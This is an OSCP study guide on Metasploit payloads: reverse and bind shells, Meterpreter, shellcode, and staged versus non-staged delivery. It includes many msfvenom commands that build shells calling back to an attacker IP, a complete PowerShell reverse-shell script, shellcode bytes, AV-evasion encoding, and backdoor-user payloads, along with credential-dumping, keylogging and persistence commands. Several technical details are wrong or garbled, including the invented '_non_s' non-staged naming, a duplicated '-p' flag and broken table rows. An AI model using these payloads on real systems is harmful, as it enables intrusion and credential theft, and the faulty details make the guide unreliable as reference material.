Domain 5Pivoting & MetasploitCORE

Payload Types

Comprehensive guide to all Metasploit payload types including reverse shells, bind shells, Meterpreter, shellcode, staged vs non-staged payloads, and how to choose the right payload for each OSCP exam scenario.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#payloads#meterpreter#reverse-shell#bind-shell#shellcode

Payload Types

1. Payload Classification

Metasploit payloads are the code that executes on the target system after a successful exploit. Understanding the full taxonomy of payload types is essential for the OSCP exam, as choosing the wrong payload can mean the difference between a stable session and a failed exploitation attempt.

Complete Payload Taxonomy

Payloads
├── Single (Non-Staged)
│   ├── Shells
│   │   ├── windows/shell_reverse_tcp
│   │   ├── windows/shell_bind_tcp
│   │   ├── linux/x86/shell_reverse_tcp
│   │   ├── linux/x86/shell_bind_tcp
│   │   ├── linux/x86/shell_reverse_tcp_x86_64
│   │   └── python/meterpreter/reverse_tcp
│   └── Meterpreter
│       ├── windows/meterpreter/reverse_tcp_non_s
│       ├── linux/x86/meterpreter/reverse_tcp_non_s
│       └── osx/x86/meterpreter/reverse_tcp_non_s
│
├── Staged
│   ├── Shells
│   │   └── (rarely staged - shells are usually single-stage)
│   └── Meterpreter
│       ├── windows/meterpreter/reverse_tcp
│       ├── windows/meterpreter/bind_tcp
│       ├── linux/x86/meterpreter/reverse_tcp
│       ├── linux/x86_64/meterpreter/reverse_tcp
│       ├── osx/x86/meterpreter/reverse_tcp
│       └── multi/handler (universal stager handler)
│
├── Transport Types
│   ├── reverse_tcp    → Target connects back to attacker
│   ├── bind_tcp       → Attacker connects to target
│   ├── reverse_http   → Over HTTP protocol
│   ├── reverse_https  → Over HTTPS protocol
│   ├── reverse_udp    → Over UDP protocol
│   └── reverse_tcp_ssl → Over SSL/TLS encrypted TCP
│
├── Output Formats (via msfvenom)
│   ├── exe            → Windows executable
│   ├── elf            → Linux executable
│   ├── macho          → macOS executable
│   ├── dll            → Windows DLL
│   ├── asp            → ASP web shell
│   ├── aspx           → ASPX web shell
│   ├── php            → PHP web shell
│   ├── js             → JavaScript
│   ├── psh            → PowerShell
│   ├── bash           → Bash script
│   ├── python         → Python script
│   ├── raw            → Raw binary
│   ├── c              → C source code
│   ├── ruby           → Ruby source
│   └── powershell     → PowerShell encoded command
│
└── Special Purpose
    ├── windows/adduser              → Backdoor user creation
    ├── windows/exec                 → Execute single command
    ├── windows/vncinject/reverse_tcp → VNC injection
    └── generic/shell_reverse_tcp    → Generic reverse shell

Key Naming Convention Pattern

<platform>/<architecture>/<payload_type>/<transport>

Examples:

  • windows/meterpreter/reverse_tcp → Windows platform, meterpreter type, reverse TCP transport
  • linux/x86/shell_reverse_tcp → Linux platform, x86 architecture, shell type, reverse TCP
  • osx/x86_64/meterpreter/reverse_https → macOS, 64-bit, meterpreter, reverse HTTPS

2. Reverse Shells

Concept

A reverse shell is a payload where the target machine initiates the connection back to the attacker. The attacker sets up a listener, and when the payload executes on the target, it dials home.

┌─────────────┐     Connection initiated by TARGET      ┌─────────────┐
│   Attacker   │ ◄──────────────────────────────────── │   Target     │
│  (Kali)      │      Target connects to Attacker       │  (Victim)    │
│              │      on specified LHOST:LPORT          │              │
│  Listener ───┼─── on 10.10.14.5:4444 ────────────────┼─── Payload   │
│  LHOST:LPORT │                                       │  executes    │
└─────────────┘                                        └─────────────┘

Advantages of Reverse Shells

Advantage Explanation
Firewall-friendly Outbound connections are rarely blocked by firewalls
NAT traversal Works even when the target is behind NAT
No port scanning needed You control the listening port
OSCP preferred Most exam targets allow outbound connections
Dynamic IPs Works with cloud/lab environments with dynamic IPs

Disadvantages

Disadvantage Explanation
Requires listener Attacker must have a running handler before payload executes
Attacker must be reachable Target must be able to route back to the attacker
Port availability Attacker’s listening port must be open

Why Reverse Shells Are Preferred in OSCP

  1. Lab Network Design: The OSCP lab is designed so that targets can reach your Kali machine on the 10.10.14.x subnet
  2. Firewall Rules: Most enterprise firewalls allow outbound traffic but restrict inbound
  3. Reliability: Fewer moving parts — you only need to open one port on your end
  4. NAT Compatibility: Many lab machines are behind NAT or have complex network topologies

Common Reverse Shell Payloads

Windows

# Standard Meterpreter reverse TCP (staged)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Non-staged Meterpreter (more reliable)
msfvenom -p windows/meterpreter/reverse_tcp_non_s LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Basic reverse shell (non-Meterpreter)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# PowerShell one-liner (no file needed)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f psh

# PowerShell encoded command
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f psh-cmd

Linux

# 32-bit Linux Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# 64-bit Linux Meterpreter
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# Basic 32-bit reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# Python-based (good for constrained environments)
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw

macOS

# 32-bit macOS
msfvenom -p osx/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f macho -o shell.macho

# 64-bit macOS
msfvenom -p osx/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f macho -o shell.macho

Setting Up a Reverse Shell Listener in Metasploit

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Quick Reference: Reverse Shell Payload Cheat Sheet

Platform    | Architecture | Payload Path                              | Output Format
------------|--------------|-------------------------------------------|-------------
Windows     | Any          | windows/meterpreter/reverse_tcp           | exe
Windows     | Any          | windows/shell_reverse_tcp                 | exe
Linux       | x86          | linux/x86/meterpreter/reverse_tcp         | elf
Linux       | x86_64       | linux/x86_64/meterpreter/reverse_tcp      | elf
macOS       | x86          | osx/x86/meterpreter/reverse_tcp           | macho
macOS       | x86_64       | osx/x86_64/meterpreter/reverse_tcp        | macho
Python      | Any          | python/meterpreter/reverse_tcp            | raw

3. Bind Shells

Concept

A bind shell is a payload where the target opens a listening port and waits for the attacker to connect. The attacker initiates the connection to the target.

┌─────────────┐     Connection initiated by ATTACKER      ┌─────────────┐
│   Attacker   │ ──────────────────────────────────────►  │   Target     │
│  (Kali)      │      Attacker connects to Target         │  (Victim)    │
│              │      on specified RHOST:RPORT            │              │
│  nc RHOST ───┼─── to 10.10.10.100:4444 ────────────────┼─── Listener   │
│     4444     │                                       │  on port 4444  │
└─────────────┘                                        └─────────────┘

When to Use Bind Shells

Scenario Reason
Outbound blocked Target cannot initiate outbound connections
Inbound allowed Firewall permits connections to specific ports
Known open port You’ve identified an open port via Nmap
Reverse fails Reverse shell doesn’t connect (routing issues)
Same network Attacker and target on the same subnet

Common Bind Shell Payloads

# Windows bind shell
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe -o bind.exe

# Windows Meterpreter bind
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind.exe

# Linux 32-bit bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind.elf

# Linux 64-bit bind shell
msfvenom -p linux/x86_64/shell_bind_tcp LPORT=4444 -f elf -o bind.elf

Connecting to a Bind Shell

# Using Metasploit
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/shell_bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.10.10.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

# Using Netcat
nc -v 10.10.10.100 4444

# Using Bash (Zsh/Bash built-in)
zsh -c 'exec 3<>/dev/tcp/10.10.10.100/4444; cat <&3 >&3'

Bind Shell: Pros and Cons

Pros Cons
No listener setup needed on attacker side Target’s inbound port must be accessible
Works when outbound is blocked Firewalls often block inbound connections
Direct connection to target NAT on target side will block access
Simple netcat connection Less reliable in the OSCP lab environment

4. Meterpreter Deep Overview

What Is Meterpreter?

Meterpreter is an advanced, in-memory payload that provides a rich set of post-exploitation capabilities. Unlike a standard shell, Meterpreter runs entirely in the target’s memory and communicates with the Metasploit handler using a sophisticated protocol.

Key Features

In-Memory Execution

Meterpreter executes entirely in RAM without writing files to disk. This makes it:

  • Stealthy: No file artifacts on the target filesystem
  • Ephemeral: Disappears when the process terminates
  • Hard to detect: Traditional file-based AV may not catch it

Multiple Transport Protocols

Transport Payload Example Use Case
reverse_tcp windows/meterpreter/reverse_tcp Default, most reliable
reverse_https windows/meterpreter/reverse_https Bypass HTTP-aware firewalls
reverse_http windows/meterpreter/reverse_http Bypass basic firewalls
reverse_tcp_ssl windows/meterpreter/reverse_tcp_ssl Encrypted communication
reverse_udp windows/meterpreter/reverse_udp When TCP is blocked
bind_tcp windows/meterpreter/bind_tcp When outbound is blocked

Extensibility (Extensions)

Meterpreter supports loading additional modules called extensions:

# From within Meterpreter
meterpreter > load stdapi       # Standard API commands
meterpreter > load priv         # Privilege escalation helpers
meterpreter > load kiwi         # Mimikatz integration (credential dumping)
meterpreter > load powershell   # PowerShell integration
meterpreter > load incognito    # Token manipulation
meterpreter > load persistence  # Persistent access
meterpreter > load packetcap    # Packet capture
meterpreter > load keylogrecorder # Keylogger

Cross-Platform Support

Meterpreter is available for all major platforms:

Platform Support Matrix:
┌────────────┬──────────┬──────────┬──────────┐
│ Platform   │ 32-bit   │ 64-bit   │ Notes    │
├────────────┼──────────┼──────────┼──────────┤
│ Windows    │ ✓        │ ✓        │ Best support │
│ Linux      │ ✓        │ ✓        │ Full support │
│ macOS      │ ✓        │ ✓        │ Full support │
│ Android    │ ✓        │ ✗        │ Limited    │
│ BSD        │ ✓        │ ✓        │ Limited    │
│ Solaris    │ ✓        │ ✓        │ Limited    │
└────────────┴──────────┴──────────┴──────────┘

Meterpreter vs Standard Shell: Comparison

Feature Standard Shell Meterpreter
Execution Spawns cmd.exe/bash In-memory DLL injection
File Operations Limited to shell commands Full upload/download API
Screenshot No screenshot command
Keylogging No keylog_start command
Process Migration Manual migrate command
Privilege Escalation Manual getsystem, use incognito
Credential Dumping Manual tools load kiwi, creds_all
Persistence Manual load persistence
Network Discovery Manual run post/multi/recon/local_exploit_suggester
Stability Drops on disconnect Auto-reconnect capable
Size Small Larger (especially non-staged)
Detection Lower profile Higher memory footprint
Interactivity Basic Rich TTY-like experience
Best For Quick commands Full post-exploitation

Essential Meterpreter Commands

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getwd

# Process Management
meterpreter > ps
meterpreter > migrate <PID>
meterpreter > execute -f cmd.exe -i -H

# File Operations
meterpreter > ls
meterpreter > cd /path/to/dir
meterpreter > upload /local/file.exe C:\\Windows\\Temp\\
meterpreter > download C:\\Windows\\System32\\drivers\\etc\\hosts .
meterpreter > search -f *.txt -d C:\\

# Post-Exploitation
meterpreter > getsystem
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run hashdump
meterpreter > run getgui -u backdoor -p Password123

# Network
meterpreter > ipconfig
meterpreter > netstat
meterpreter > run get_local_subnets

# Extension Loading
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > wdigest_creds

5. Shellcode

What Is Shellcode?

Shellcode is raw binary machine code designed to be injected into a running process or used as part of an exploit. It is the lowest-level form of a Metasploit payload.

Why Shellcode Matters

  • Exploit Development: Shellcode is embedded directly into exploit buffers
  • Size Constraints: Can be optimized for extremely small sizes
  • Language Agnostic: Can be used from any programming language
  • Memory Injection: Ideal for process injection techniques
  • OSCP Relevance: Understanding shellcode helps with buffer overflow exploits

Generating Shellcode with msfvenom

# Raw binary shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shellcode.bin

# C format (null-byte safe array)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f c

# Python format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f python

# Ruby format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f ruby

# Bash format
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f bash

# PowerShell format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f psh

Output Format Examples

C Format Output

unsigned char buf[] =
  "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x03"
  "\x2c\x8b\x89\x62\x00\x00\x00\x51\x6a\x02\x59\x56\x4e\x53\x57"
  "\x68\x8b\x01\x14\x00\x68\x00\x10\x00\x00\x89\xe6\x6a\x10\x56"
  "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08"
  "\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x6d\x61\x6c\x6c\x68"
  "\x73\x68\x6c\x6c\x68\x77\x69\x6e\x00\x00\x54\x68\x31\x8b\x6f"
  "\x87\xff\xd5\x5b\x5b\x6a\x01\x68\x00\x30\x00\x00\x56\x50\x68"
  "\x2d\x05\x00\x00\x56\x53\x57\x68\x75\x73\x65\x72\xff\xd5\x68"
  "\x63\x6d\x64\x00\x89\xe6\x6a\x10\x56\x56\x56\x40\x50\x40\x50"
  "\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
  "\xc0\xac\x8c\x2b\xff\xd5\x31\xdb\x53\x68\x63\x6d\x64\x00\x89"
  "\xe6\x6a\x04\x56\x56\x56\x40\x50\x40\x50\x40\x50\x68\xea\x0f"
  "\xdf\xe0\xff\xd5";

Python Format Output

buf = [
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
    b"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
    b"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
    # ... more bytes ...
]

PowerShell Format Output

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte, 0, $sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Shellcode Use Cases in OSCP

Use Case Description
Buffer Overflow Exploits Embed shellcode in the overflow buffer
Custom Exploit Development Build exploits from scratch using raw shellcode
Process Injection Inject shellcode into running processes
Web Shell Payloads Embed in PHP/ASP/JSP web shells
Encoding Evasion Use encoded shellcode to bypass basic AV

Shellcode Encoding

# Apply encoding to evade basic detection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe

# Multiple encoding passes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

# Check available encoders
msfvenom -l encoders

# Platform-specific encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/fnstenv_mov -f c
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x86/shikata_ga_nai -f elf

6. Staged vs Non-Staged Payloads

The Critical Distinction

This is one of the most important concepts for the OSCP exam. Understanding when to use staged versus non-staged payloads can save hours of troubleshooting.

Staged Payloads

A staged payload delivers the exploit in two phases:

Phase 1: Stager (Small)          Phase 2: Stage (Full Payload)
┌─────────────────────┐         ┌──────────────────────────┐
│ Tiny initial blob    │         │ Full Meterpreter         │
│ (~200-500 bytes)     │         │ functionality            │
│ Opens connection     │         │ Loaded into memory       │
│ to attacker          │         │                          │
└─────────┬───────────┘         └──────────────────────────┘
          │                      ▲
          │  Connection established│
          │                      │
          └──────────────────────┘
              Stager downloads Stage

How It Works:

  1. The stager (small initial payload) executes on the target
  2. It establishes a connection back to the attacker
  3. Over this connection, it downloads the stage (the full Meterpreter payload)
  4. The stage is loaded into memory and execution continues

Example Staged Payloads:

windows/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp
osx/x86/meterpreter/reverse_tcp

Non-Staged Payloads

A non-staged payload delivers everything in one shot:

Single Delivery (Large)
┌──────────────────────────────────────────┐
│ Full payload embedded in one blob        │
│ (~300KB+ for Meterpreter)                │
│ Everything needed is included            │
│ No second download required              │
└──────────────────────────────────────────┘
         │
         │  Executes completely
         ▼
    Full Meterpreter session

How It Works:

  1. The entire payload is embedded in the initial delivery
  2. No second download phase
  3. Larger size but more reliable

Example Non-Staged Payloads:

windows/meterpreter/reverse_tcp_non_s
linux/x86/meterpreter/reverse_tcp_non_s
osx/x86/meterpreter/reverse_tcp_non_s

Note: The _non_s suffix stands for “non-staged.”

Detailed Comparison

Feature Staged Non-Staged
Payload Size Small stager (~200-500 bytes) Large (~300KB+)
Delivery Two-phase (stager → stage) Single-phase
Reliability Can fail if stage download fails More reliable, all-in-one
Network Requirements Needs sustained connection for stage transfer Only needs initial execution
Exploit Compatibility Works with size-constrained exploits May be too large for some exploits
Buffer Overflow Preferred (small stager fits in buffer) Often too large
File Upload Both work Better for unreliable connections
Web Exploits Preferred (smaller payload) May exceed size limits
OSCP Recommendation Default choice Use when staged fails

When to Use Each in OSCP

Use Staged Payloads When:

  1. Buffer overflow exploits — The stager is small enough to fit in the overflow buffer
  2. Web-based exploits — Size constraints in HTTP requests
  3. Default exploitation — Most Metasploit modules work best with staged payloads
  4. Memory-constrained targets — Smaller initial footprint
  5. When using exploit/multi/handler — The handler manages the staging automatically
# Typical staged workflow in Metasploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > exploit
# Handler automatically manages stager → stage delivery

Use Non-Staged Payloads When:

  1. Staged payload fails — Stage download times out or gets blocked
  2. Unreliable network — Connection may drop between stager and stage
  3. Custom payload generation — When creating standalone executables with msfvenom
  4. Firewall interference — Some firewalls block the secondary stage download
  5. Direct execution — When you upload and execute a file directly
# Non-staged payload generation
msfvenom -p windows/meterpreter/reverse_tcp_non_s LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exe

# Listener for non-staged
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_non_s
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > exploit

The “Stage” Concept Explained

Think of it like a two-part software installation:

Analogy Staged Payload Non-Staged Payload
Software Install Download installer → Installer downloads full app Download full app directly
Package Delivery Send address label → Courier delivers package Package already contains everything
Web Download Click link → Redirect to actual file Click link → File downloads directly

The stager is like a bootstrap program — its only job is to establish the connection and pull down the real payload.

Troubleshooting Staged Payload Failures

# If staged payload fails to get a session:

# 1. Check if the stager connected but stage failed
# Look for: "Sending stage (N bytes) to X.X.X.X"
# If you see this but no session → stage delivery failed

# 2. Try increasing the send delay
set SendDelay 5          # Add delay between stage chunks
set EnableStageEncoding true  # Encode the stage

# 3. Switch to non-staged
set payload windows/meterpreter/reverse_tcp_non_s

# 4. Try a different port
set LPORT 8080

# 5. Check firewall/AV interference
# Try reverse_https instead of reverse_tcp
set payload windows/meterpreter/reverse_https

7. Session vs Non-Session Payloads

What Happens After Execution?

Payloads can be categorized by what they do after running on the target:

Session Payloads

These payloads establish an interactive session with the attacker:

Payload Executes → Connection to Attacker → Interactive Session
                                                    │
                                                    ├─ Meterpreter session
                                                    ├─ Standard shell session
                                                    └─ Can run commands interactively

Examples:

windows/meterpreter/reverse_tcp    → Meterpreter session
windows/shell_reverse_tcp          → Standard shell session
linux/x86/meterpreter/reverse_tcp  → Meterpreter session

Non-Session Payloads

These payloads execute and exit without maintaining a connection:

Payload Executes → Runs Command → Exits
                    (No interactive session)

Examples:

windows/adduser                   → Creates user and exits
windows/exec                      → Runs single command and exits
windows/metsvc                    → Installs Meterpreter service (background)

Comparison

Feature Session Payload Non-Session Payload
Interactivity Full interactive session No interaction
Use Case Post-exploitation, exploration One-time actions
Persistence Temporary (drops on disconnect) May persist (services, users)
Stealth Active connection visible Runs and disappears
OSCP Use Primary choice for most exploits Specialized scenarios

Non-Session Payload Examples

# Create a backdoor user
msfvenom -p windows/adduser USER=backdoor PASS=Password123 -f exe -o backdoor.exe

# Execute a single command
msfvenom -p windows/exec CMD='net user backdoor Password123 /add' -f exe -o cmd.exe

# Install Meterpreter as a service
msfvenom -p windows/metsvc LHOST=10.10.14.5 LPORT=4444 -f exe -o service.exe

8. Platform and Architecture Matching

The Golden Rule

The payload’s platform and architecture MUST match the target system. A mismatched payload will fail silently or crash.

Common Mistakes

Mistake What Happens How to Avoid
Using x86 payload on x64-only target May work (x64 can run x86) Usually safe, but x64 is preferred
Using x64 payload on x86-only target Will fail — x86 cannot run x64 code Always use x86 for 32-bit targets
Using Windows payload on Linux Will fail — wrong executable format Match platform to OS
Using Linux payload on Windows Will fail — wrong executable format Match platform to OS
Wrong architecture in buffer overflow Crash or no execution Identify target architecture first

Architecture Compatibility Matrix

Target System       | x86 Payload | x64 Payload | Notes
--------------------|-------------|-------------|------------------
Windows 32-bit      | ✓ Works     | ✗ Fails     | x86 only
Windows 64-bit      | ✓ Works     | ✓ Works     | x64 can run x86
Linux 32-bit        | ✓ Works     | ✗ Fails     | x86 only
Linux 64-bit        | ✓ Works     | ✓ Works     | x64 can run x86
macOS Intel 32-bit  | ✓ Works     | ✗ Fails     | Rare nowadays
macOS Intel 64-bit  | ✓ Works     | ✓ Works     | x64 can run x86

Identifying Target Architecture

# From Nmap
nmap -sV -O --osscan-guess 10.10.10.100
# Look for OS detection results

# From a web server response
curl -v http://10.10.10.100/
# Check Server header for clues

# From Meterpreter (after initial access)
meterpreter > sysinfo
# Shows Computer, OS, Architecture, etc.

# From a shell
# Windows:
wmic os get osarchitecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# Linux:
uname -a
arch
file /bin/ls

Payload Selection by Platform

# Windows 32-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Windows 64-bit (use x64 payload)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Linux 32-bit
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# Linux 64-bit
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# macOS 32-bit
msfvenom -p osx/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f macho -o shell.macho

# macOS 64-bit
msfvenom -p osx/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f macho -o shell.macho

msfvenom Format Reference by Platform

Platform | Output Format Flag | File Extension | Description
---------|-------------------|----------------|------------------
Windows  | -f exe            | .exe           | PE executable
Windows  | -f dll            | .dll           | PE DLL
Windows  | -f msi            | .msi           | Windows installer
Linux    | -f elf            | .elf           | ELF executable
Linux    | -f c              | N/A            | C source code
macOS    | -f macho          | .macho         | Mach-O executable
Web      | -f asp            | .asp           | ASP web shell
Web      | -f aspx           | .aspx          | ASPX web shell
Web      | -f php           | .php           | PHP web shell
Web      | -f jsp           | .jsp           | JSP web shell
Script   | -f python        | .py            | Python script
Script   | -f psh           | N/A            | PowerShell
Script   | -f bash          | N/A            | Bash script
Raw      | -f raw            | .bin           | Raw binary
Raw      | -f c             | N/A            | C byte array

9. OSCP Payload Selection Guide

Decision Framework

Use this flowchart to choose the right payload for any OSCP scenario:

                    ┌─────────────────────┐
                    │  What is the target │
                    │     platform?       │
                    └────────┬────────────┘
                             │
              ┌──────────────┼──────────────┐
              ▼              ▼              ▼
         ┌─────────┐   ┌─────────┐   ┌─────────┐
         │ Windows │   │  Linux  │   │  macOS  │
         └────┬────┘   └────┬────┘   └────┬────┘
              │              │              │
              ▼              ▼              ▼
         ┌──────────────────────────────────────┐
         │  What is the target architecture?    │
         │  (32-bit or 64-bit?)                 │
         └────────────┬─────────────────────────┘
                      │
            ┌─────────┼─────────┐
            ▼                 ▼
        ┌──────────┐   ┌──────────┐
        │  32-bit   │   │  64-bit  │
        └─────┬────┘   └────┬─────┘
              │              │
              ▼              ▼
    ┌────────────────────────────────┐
    │  How will the payload be       │
    │  delivered?                     │
    └────────────┬───────────────────┘
                 │
      ┌──────────┼──────────┐
      ▼          ▼          ▼
  ┌────────┐ ┌────────┐ ┌──────────┐
  │ Metasp │ │ File   │ │ Buffer   │
  │ module │ │ upload │ │ overflow │
  └───┬────┘ └───┬────┘ └────┬─────┘
      │          │           │
      ▼          ▼           ▼
  Staged    Non-staged   Staged
  (default) (if staged   (small
             fails)       stager)

Quick Decision Table

Scenario Recommended Payload Reason
Metasploit module exploit windows/meterpreter/reverse_tcp Default, module manages staging
File upload + execution windows/meterpreter/reverse_tcp_non_s Non-staged more reliable
Buffer overflow windows/meterpreter/reverse_tcp Small stager fits in buffer
Web shell upload php/meterpreter/reverse_tcp Web-specific format
PowerShell execution windows/meterpreter/reverse_tcp with -f psh No file needed
Outbound blocked windows/meterpreter/bind_tcp Bind shell alternative
HTTP firewall windows/meterpreter/reverse_https Blends with web traffic
Linux target linux/x86/meterpreter/reverse_tcp Match architecture
macOS target osx/x86_64/meterpreter/reverse_tcp Match architecture
Need stealth windows/meterpreter/reverse_https Encrypted, web-like
Quick shell needed windows/shell_reverse_tcp Smaller, faster
Full post-exploitation */meterpreter/reverse_tcp Rich feature set

OSCP-Specific Recommendations

Rule 1: Default to Meterpreter Reverse TCP

# Your go-to payload for 90% of OSCP scenarios
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o shell.exe

Rule 2: Have a Non-Staged Fallback

# If staged fails, immediately try non-staged
msfvenom -p windows/meterpreter/reverse_tcp_non_s LHOST=<YOUR_IP> LPORT=4444 -f exe -o shell.exe

Rule 3: Use Multiple Ports

# If port 4444 is blocked or in use, try alternatives
LPORT=80
LPORT=443
LPORT=8080
LPORT=8443

Rule 4: Always Match Architecture

# When in doubt, use 32-bit (x86) — it runs on both 32 and 64-bit systems
# This is your safest default
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f exe -o shell.exe
# Note: windows/meterpreter/reverse_tcp is 32-bit by default

Rule 5: Prepare Handlers Before Exploitation

# Always start your handler BEFORE triggering the exploit
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false    # Keep listening for more sessions
msf6 exploit(multi/handler) > exploit -j -z               # Run in background, don't zap

Complete msfvenom Reference Card

# Basic syntax
msfvenom -p <payload> [options] -f <format> -o <output>

# Full option reference
-p PAYLOAD       # Payload to use
-l              # List available payloads/encoders/platforms
-a ARCH         # Architecture (x86, x64, etc.)
-p PLATFORM      # Platform (windows, linux, osx, etc.)
-f FORMAT        # Output format (exe, elf, macho, raw, c, python, etc.)
-o OUTPUT       # Output file
-e ENCODER      # Encoder to use
-i ITERATIONS   # Number of encoding iterations
-b BADCHARS     # Bad characters to avoid (e.g., \x00\x0a)
-n NOPSLED      # NOP sled prefix length
-s SIZE         # Maximum payload size

# Payload options (vary by payload)
LHOST            # Listener IP (your Kali machine)
LPORT            # Listener port
RHOST            # Remote host (for bind shells)
RPORT            # Remote port (for bind shells)
URI              # URI for web payloads

Troubleshooting Checklist

□ Is the correct payload platform selected? (windows/linux/osx)
□ Is the architecture correct? (x86 vs x86_64)
□ Is LHOST set to your Kali IP?
□ Is LPORT available and not blocked?
□ Is the handler running before payload execution?
□ Is the target able to reach your IP? (ping test)
□ Did you try non-staged if staged failed?
□ Are there bad characters in the payload? (for buffer overflows)
□ Is the output format correct for the delivery method?
